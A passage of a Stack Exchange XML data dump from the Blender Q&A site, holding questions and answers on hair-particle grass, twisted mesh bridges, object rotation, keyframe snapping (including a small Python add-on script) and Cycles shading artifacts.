node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update: The Node Wrangler add-on mentioned is included in Blender now, simply enable it in your user preferences]&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2014-10-14T07:39:47.570" LastActivityDate="2014-10-14T07:39:47.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1970" PostTypeId="1" CreationDate="2013-07-25T09:26:21.563" Score="3" ViewCount="4338" Body="&lt;p&gt;I created a grass animation with hair particles, but I cannot get the grass to bend (on the z axis) it just sways from side to side on the x axis.&lt;br&gt;&#xA;  &lt;a href=&quot;https://app.box.com/#/files/0/f/0/1/f_9422767127&quot; rel=&quot;nofollow&quot;&gt;screenshots&lt;/a&gt;, &lt;a href=&quot;https://app.box.com/#/files/0/f/0/1/f_9422771527&quot; rel=&quot;nofollow&quot;&gt;more screenshots&lt;/a&gt;, &lt;a href=&quot;https://app.box.com/s/0jljnrclxnkkwuolpb4y&quot; rel=&quot;nofollow&quot;&gt;link to video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an empty and assigned a texture to it, then linked the particles through the texture and I can control the animation of the grass through the empty but when I move the empty on the Z axis it just pushes the grass to the side without any bending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be appreciated. cheers. If you need any more info let me know.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="599" LastEditDate="2013-07-30T20:16:03.547" LastActivityDate="2021-03-03T02:12:44.813" Title="How to make hair particles (grass) bend on z axis" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1971" PostTypeId="2" ParentId="1167" CreationDate="2013-07-25T10:37:35.643" Score="3" Body="&lt;p&gt;To be honest, there is no single universal &quot;best&quot; masking or keying way exists for all images. However, there would certainly be the &quot;most suitable&quot; way for specific images regarding specific needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, there are two main way for masking within Blender, one is regular masking. which can be created in UV/Image editor or Movie Clip editor; Or you can use matte compositing in Node editor, which is mainly keying methods. Both ways got their own advantages and limits. So, sometimes you need both to work together. Regular Masking is easy, but Color Keying is a bit complicated and needs experience a bit. But I believe you can master them well if reading wiki and watching some neat tuts on various sites, such as Youtube and CG Cookie, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For regular masking, &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt;&lt;/strong&gt; may help you some:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1JxhY.jpg&quot; alt=&quot;Masking editor&quot;&gt;&#xA;(Image from Mango project)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For node keying, &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Matte&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt;&lt;/strong&gt; may help you some:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4wTgU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-08T04:20:13.957" LastActivityDate="2014-02-08T04:20:13.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1972" PostTypeId="1" AcceptedAnswerId="1983" CreationDate="2013-07-25T12:36:58.570" Score="8" ViewCount="792" Body="&lt;p&gt;I just wonder if there are any ideal solutions to do this without using lattice deform, etc. Thanks!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h4XVo.png&quot; alt=&quot;Original | Normal | Twisted&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&lt;p&gt;I found I've been using a more regular and simple thing for illustration. Now what I really mean can be seen in the following image.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Azi2B.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;(This is quite puzzling me when using any current way I suppose, I mean, keep original loops un-twisted. but to twist the bridge.)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-21T11:01:43.413" Title="The best way to do twist-like bridge?" Tags="&lt;mesh&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1974" PostTypeId="2" ParentId="1972" CreationDate="2013-07-25T13:20:06.517" Score="1" Body="&lt;p&gt;If you go into user preferences (addons) and type loop tools into the search menu the loop tool menu will appear drop the the menu down and check the box to enable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go back to your 3D view and on the left hand menu (press &lt;kbd&gt;T&lt;/kbd&gt;) you will now see a loop tools option. Drop the menu down and you will see an option called bridge click this open and you will see an option for twisting your mesh. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="12" LastEditDate="2013-07-25T18:31:39.013" LastActivityDate="2013-07-25T18:31:39.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1975" PostTypeId="2" ParentId="1972" CreationDate="2013-07-25T13:54:37.287" Score="3" Body="&lt;p&gt;This is possible to do without any addons or modifiers,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a shape key&lt;/li&gt;&#xA;&lt;li&gt;Go into editmode&lt;/li&gt;&#xA;&lt;li&gt;Rotate one of the loops, say ~30deg&lt;/li&gt;&#xA;&lt;li&gt;Execute the Bridge Tool&lt;/li&gt;&#xA;&lt;li&gt;Remove the shape key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;now the bridge will be twisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;note that this won't work for twisting over 180deg.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-25T13:54:37.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1976" PostTypeId="1" AcceptedAnswerId="1977" CreationDate="2013-07-25T14:02:41.740" Score="6" ViewCount="526" Body="&lt;p&gt;I have created two spheres (earth and moon) and am trying to get the moon to rotate around the earth and spin on it's own axis. I set the moons origin to the earth and got it rotate around but when I try to get the moon to spin on its own axis it rotates at odd angles when I render it, it is clearly noticeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to spin an object on two different z axis.(hope that makes sense) cheers.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="12" LastEditDate="2013-07-25T17:08:21.563" LastActivityDate="2013-07-25T17:08:21.563" Title="Rotating around two z axes" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1977" PostTypeId="2" ParentId="1976" CreationDate="2013-07-25T14:10:30.670" Score="5" Body="&lt;p&gt;You'll probably want to use an extra empty object that you rotate the moon around. That way you can rotate the earth and the moon independently from each other. Before starting, reset the origins of your objects (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start by adding an empty object in the same location as your earth object (you can snap your cursor to the earth by using &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor to Selected&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your moon object, then select your empty and parent it (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;). You will notice that you can now rotate the moon with the empty, but the earth rotates separately.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate the earth at the speed you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rotate the moon.&lt;/li&gt;&#xA;&lt;li&gt;To make the moon orbit around the earth, rotate the empty.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to make the moon orbit copy the speed of the earth, you can use a copy rotation constraint on the empty (you can also set the percentage of the speed by adjusting the influence).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-25T14:10:30.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1978" PostTypeId="2" ParentId="1972" CreationDate="2013-07-25T14:12:26.990" Score="2" Body="&lt;p&gt;I would recommend the simple deform modifier. It has a few options for deformation, one of which is twisting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you simply add this modifier to an object that's pointing up, it'll twist it based upon the Deform angle:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ejd1o.png&quot; alt=&quot;simple deform&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YZasb.png&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-25T14:12:26.990" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1980" PostTypeId="2" ParentId="1970" CreationDate="2013-07-25T16:48:58.253" Score="1" Body="&lt;p&gt;Try adding a force field to your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A wind force with a small strength will make the strands lean over slightly, turning up the noise will cause them to vary and bend along the length of the strand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Turbulence field can also be used to add random movement to the strands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have the option of adding two force field settings within the particle options.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-25T16:48:58.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1981" PostTypeId="1" CreationDate="2013-07-25T17:47:40.660" Score="4" ViewCount="340" Body="&lt;p&gt;I am trying to customize the blender GUI so that I can customize the Render button in the GUI to call a customer script as opposed to the default option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if there is a way to achieve the same and would appreciate if someone can point me to the pointers for the same.&lt;/p&gt;&#xA;" OwnerUserId="999" LastEditorUserId="25" LastEditDate="2013-07-26T04:34:38.803" LastActivityDate="2013-07-26T04:34:38.803" Title="How can I customize the Render Button in the Render GUI to execute a custom script" Tags="&lt;rendering&gt;&lt;scripting&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1982" PostTypeId="2" ParentId="1972" CreationDate="2013-07-25T19:10:02.950" Score="3" Body="&lt;p&gt;Allow me to propose my own solution, which just came to my mind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/id51R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create one connected strip with desired edges by &lt;strong&gt;W &gt; Bridge Edge Loops&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; to invert selection;&lt;/li&gt;&#xA;&lt;li&gt;Bridge again, set the number of cuts in the option panel, or hit &lt;kbd&gt;F6&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;IMHO, It could be a better and currently-existing way to do so. Advantage of this method would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fast, direct, accurate and flexible;&lt;/li&gt;&#xA;&lt;li&gt;Perfectly keep original loops the way as they were;&lt;/li&gt;&#xA;&lt;li&gt;Effective for any simple or complicated loops to make twisted bridge.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-21T10:55:25.387" LastActivityDate="2014-02-21T10:55:25.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1983" PostTypeId="2" ParentId="1972" CreationDate="2013-07-25T19:28:56.433" Score="9" Body="&lt;p&gt;Added twist offset option to the bridge tool &lt;a href=&quot;http://blender.markmail.org/thread/nlotlaujahnsh5q7&quot;&gt;r58609&lt;/a&gt; (will be available in 2.69 or any recent build).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-25T19:28:56.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1984" PostTypeId="1" AcceptedAnswerId="2048" CreationDate="2013-07-25T20:10:57.360" Score="3" ViewCount="2520" Body="&lt;p&gt;The Voronoi procedural texture settings you get when, for example, you create a &lt;em&gt;Displace&lt;/em&gt; modifier, are much more customizable and there are many more different effects you can achieve them with the Cycles material nodes version of the voronoi procedural.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Euzeh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Material nodes:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QY1bj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;img src=&quot;https://i.stack.imgur.com/WtFgD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Displace modifier:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J0nkB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to get effects like you can with the displace texture with the cycles material nodes texture? For example something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SQw2C.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-11T02:41:10.047" Title="Why are the Cycles/BI Voronoi Procedural Textures Different?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1985" PostTypeId="5" CreationDate="2013-07-25T20:16:05.490" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-25T20:16:05.490" LastActivityDate="2013-07-25T20:16:05.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1986" PostTypeId="4" CreationDate="2013-07-25T20:16:05.490" Score="0" Body="Questions about blender's snapping function. Snapping can be used in both Object mode and edit mode, and can be used to snap to a grid (increment) vertexes, faces, edges, and mesh volume." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-25T21:06:02.353" LastActivityDate="2013-07-25T21:06:02.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1987" PostTypeId="5" CreationDate="2013-07-25T20:23:36.350" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-25T20:23:36.350" LastActivityDate="2013-07-25T20:23:36.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1988" PostTypeId="4" CreationDate="2013-07-25T20:23:36.350" Score="0" Body="Questions about blender's procedural textures. Procedural textures can be used to create many effects such as wood grains, paint, and detail to objects such as rocks, trees, grass, etc. quickly and easily." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-25T21:05:43.260" LastActivityDate="2013-07-25T21:05:43.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1989" PostTypeId="1" CreationDate="2013-07-25T20:26:30.817" Score="2" ViewCount="344" Body="&lt;p&gt;Halo to everyone,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need help with OSC output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three years ago I used movements in Blender to control some variables in the &lt;a href=&quot;http://en.wikipedia.org/wiki/SuperCollider&quot; rel=&quot;nofollow&quot;&gt;SuperCollider&lt;/a&gt;. Now with the new versions of Blender and SuperCollider it doesn't work anymore. &lt;/p&gt;&#xA;" OwnerUserId="1001" LastEditorUserId="599" LastEditDate="2013-07-25T22:05:34.143" LastActivityDate="2013-07-25T22:05:34.143" Title="Blender communication with SuperCollider via OSC" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2013-08-09T01:40:33.733" ContentLicense="CC BY-SA 3.0" />
  <row Id="1991" PostTypeId="2" ParentId="1955" CreationDate="2013-07-26T03:23:05.783" Score="1" Body="&lt;p&gt;To accomplish 4, you could &lt;kbd&gt;A&lt;/kbd&gt; select the entire mesh in &lt;em&gt;Edit mode&lt;/em&gt;, then enable snapping:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zgK09.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can snap the entire object to another object (To a &lt;em&gt;face&lt;/em&gt;, &lt;em&gt;edge&lt;/em&gt;, or &lt;em&gt;vertex&lt;/em&gt;, depending on the settings)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oh7IX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to reset the origin, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;em&gt;Origin to Geometry&lt;/em&gt;, or &lt;kbd&gt;T&lt;/kbd&gt; &lt;em&gt;&gt; Tool Shelf &gt; Origin &gt; Origin to Geometry&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-07-26T03:23:05.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1992" PostTypeId="2" ParentId="1981" CreationDate="2013-07-26T03:34:15.503" Score="1" Body="&lt;p&gt;The easiest way is to right click on the render button (or any UI item) and select Edit Source. You will see a message in the info header to 'See properties_render.py in the text editor'. Simply change one of your windows to a text editor and select the properties_render.py from the text block list. You will find the cursor located on the line used for the UI item you selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you search &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/&quot; rel=&quot;nofollow&quot;&gt;the blender python api documentation&lt;/a&gt; for UILayout you will find the operator function used there takes the operator name as the first argument. So you would change &quot;render.render&quot; to the name of the operator you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to save the edited text block back to the text file. Also this file will be replaced with each blender upgrade so creating an addon may be a wiser choice for something you plan to keep using.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-26T03:34:15.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1993" PostTypeId="1" AcceptedAnswerId="1996" CreationDate="2013-07-26T06:24:33.850" Score="6" ViewCount="1536" Body="&lt;p&gt;I have an object with several keyframes at different times. there is an option to grab all keyframes and snap the first (or the last) keyframe to the position of cursor?&#xA;(like after effect when hit shift)&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="599" LastEditDate="2013-12-05T22:48:19.997" LastActivityDate="2013-12-05T22:48:19.997" Title="Snap a bunch of keyframes to the cursor?" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;dopesheet&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1995" PostTypeId="2" ParentId="1993" CreationDate="2013-07-26T08:08:10.100" Score="7" Body="&lt;p&gt;Within the Dope Sheet and the Graph Editor you can snap the selected keyframes using the snap menu - Key-&gt;snap or &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; and choose one of several options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HQZbE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can de-select all keyframes by pressing &lt;kbd&gt;A&lt;/kbd&gt; then use box select &lt;kbd&gt;B&lt;/kbd&gt; to draw a box around the desired keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DopeSheet also has 'summary lines' for example the 'Cube' line. Selecting a keyframe in a summary line will select all related keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DfqbS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also a common method to align things in blender is to apply a scale of zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Dope Sheet selecting the keyframes you want to align and pressing &lt;kbd&gt;S&lt;/kbd&gt; then &lt;kbd&gt;0&lt;/kbd&gt; will align them all to the current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Graph Editor you will want to ensure you only affect the frame by scaling the desired points along the x axis (&lt;kbd&gt;S&lt;/kbd&gt;-&lt;kbd&gt;X&lt;/kbd&gt;-&lt;kbd&gt;0&lt;/kbd&gt;). Here they will scale to a frame between the earliest and latest selected, then you probably want to move them to the frame you want (&lt;kbd&gt;G&lt;/kbd&gt;-&lt;kbd&gt;X&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same scaling trick applies to aligning almost anything. Objects in object mode (you need to make sure you turn on manipulate centre points for object alignment), vertices in edit mode, curve points, armature bones, nodes...&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-07-26T08:08:10.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1996" PostTypeId="2" ParentId="1993" CreationDate="2013-07-26T15:00:25.737" Score="6" Body="&lt;h1&gt;Align selected keys around the current frame&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The following script adds &lt;kbd&gt;Key | Align&lt;/kbd&gt; menu items with the desired functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6D2ov.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class ANIM_OT_Align_frames(bpy.types.Operator):&#xA;    bl_idname = &quot;action.align_frames&quot;&#xA;    bl_label = &quot;Align selected keys around current frame&quot;&#xA;    bl_options = {&quot;REGISTER&quot;, &quot;UNDO&quot;,}&#xA;&#xA;    align_end = bpy.props.BoolProperty(name=&quot;Align End&quot;)&#xA;&#xA;    def execute(self, context):&#xA;        if context.space_data.type in (&quot;DOPESHEET_EDITOR&quot;, &quot;GRAPH_EDITOR&quot;,):&#xA;            points = []&#xA;            if context.space_data.dopesheet.show_only_selected:&#xA;                objects = context.selected_objects&#xA;            else:&#xA;                objects = context.scene.objects&#xA;            for obj in objects:&#xA;                if hasattr(obj.animation_data, &quot;action&quot;):&#xA;                    for fcurve in obj.animation_data.action.fcurves:&#xA;                        if fcurve.lock or (fcurve.hide and context.space_data.type == &quot;GRAPH_EDITOR&quot;):&#xA;                            continue&#xA;                        for keyframe_point in fcurve.keyframe_points:&#xA;                            if keyframe_point.select_control_point:&#xA;                                points.append(keyframe_point)&#xA;&#xA;            if points:&#xA;                current_frame = context.scene.frame_current&#xA;                x_positions = (p.co[0] for p in points)&#xA;                offset = max(x_positions) if self.align_end else min(x_positions)&#xA;                for point in points:&#xA;                    point.co[0] += current_frame - offset&#xA;                return {&quot;FINISHED&quot;}&#xA;        return {&quot;CANCELLED&quot;}&#xA;&#xA;class ANIM_MT_Align(bpy.types.Menu):&#xA;    bl_label = &quot;Align&quot;&#xA;    bl_idname = &quot;action.align_frames&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.operator(&quot;action.align_frames&quot;, text=&quot;Selection start to current frame&quot;).align_end=False&#xA;        layout.operator(&quot;action.align_frames&quot;, text=&quot;Selection end to current frame&quot;).align_end=True&#xA;&#xA;def menu(self, context):&#xA;    self.layout.menu(&quot;action.align_frames&quot;) #, icon=&quot;ALIGN&quot;)&#xA;&#xA;bpy.utils.register_class(ANIM_OT_Align_frames)&#xA;bpy.utils.register_class(ANIM_MT_Align)&#xA;bpy.types.DOPESHEET_MT_key.prepend(menu)&#xA;bpy.types.GRAPH_MT_key.prepend(menu)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-27T09:54:57.140" LastActivityDate="2013-07-27T09:54:57.140" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1997" PostTypeId="1" CreationDate="2013-07-26T16:02:15.370" Score="1" ViewCount="945" Body="&lt;p&gt;I'd like to know if it's possible to use the compositor for removing motion blur from image sequences, originally from a video footage. Using filter -&gt; sharpen is OK, but I'm trying to find some better node setups. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1006" LastEditorUserId="2217" LastEditDate="2014-08-05T18:14:09.627" LastActivityDate="2014-08-05T18:14:09.627" Title="How to remove motion blur from images using the compositor?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2013-08-01T19:54:17.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="1998" PostTypeId="1" AcceptedAnswerId="1999" CreationDate="2013-07-26T16:21:49.053" Score="14" ViewCount="11613" Body="&lt;p&gt;I wonder if this is a bug, or if I missed something...&lt;br&gt;&#xA;When a light hits tangentially convex surfaces with &quot;smooth shading&quot;, the shadow on this surface seems to &quot;partially ignore&quot; the smoothness of the surface. Here is an example with a simple cylinder :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AgONq.jpg&quot; alt=&quot;Cylinder test&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left, a cylinder with &quot;flat shading&quot;. Everything's ok.&lt;br&gt;&#xA;On the right, the same with &quot;smooth&quot;. We can see an edge, bad shadowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With or without the &quot;Edge split&quot; modifier, no matters, the edge is still there. The shader is a simple white diffuse shader with no texture nor displace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to add a subsurf modifier with at least 2 levels, which will insanely increase the vertex count... And I can't do that for my project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone already saw it, and have a little tip to share. Or if someone already know it's a bug, or a limit of the current Cycles renderer ?&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="8262" LastEditDate="2015-06-26T03:15:03.923" LastActivityDate="2021-04-02T16:52:28.877" Title="Cycles : shadows on smooth shaded mesh, strange behavior" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="2" ClosedDate="2021-04-24T22:49:59.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="1999" PostTypeId="2" ParentId="1998" CreationDate="2013-07-26T18:18:00.720" Score="17" Body="&lt;p&gt;I believe what you're looking at is called the &quot;Terminator Problem&quot; which is a ray tracing issue. I think most rendering engines actually suffer from this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the solution is to add more geometry or play around with your lighting setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about it here.&#xA;&lt;a href=&quot;https://developer.blender.org/T37814&quot; rel=&quot;noreferrer&quot;&gt;https://developer.blender.org/T37814&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1007" LastEditorUserId="9" LastEditDate="2015-02-23T15:41:55.763" LastActivityDate="2015-02-23T15:41:55.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2001" PostTypeId="1" AcceptedAnswerId="2029" CreationDate="2013-07-26T19:37:06.503" Score="5" ViewCount="2559" Body="&lt;p&gt;I imported an OBJ from SweetHome3D to the latest version of Blender. When every object is selected (press A), I press &quot;shift-S&quot; to click &quot;Selection -&gt; To Grid&quot;. However, the single OBJ object will not move to the grid. I already have my camera positioned for the grid. I have never dealt with OBJ files; can I not move them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my car after applying SteveW's suggestion. The car is on the central grid (what ever you may call it), but it is broken. The grid is at the orange dot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ohg1e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="922" LastEditorUserId="241" LastEditDate="2020-06-26T13:42:31.310" LastActivityDate="2020-06-26T13:42:31.310" Title="Imported OBJ will not move to grid" Tags="&lt;objects&gt;&lt;obj&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
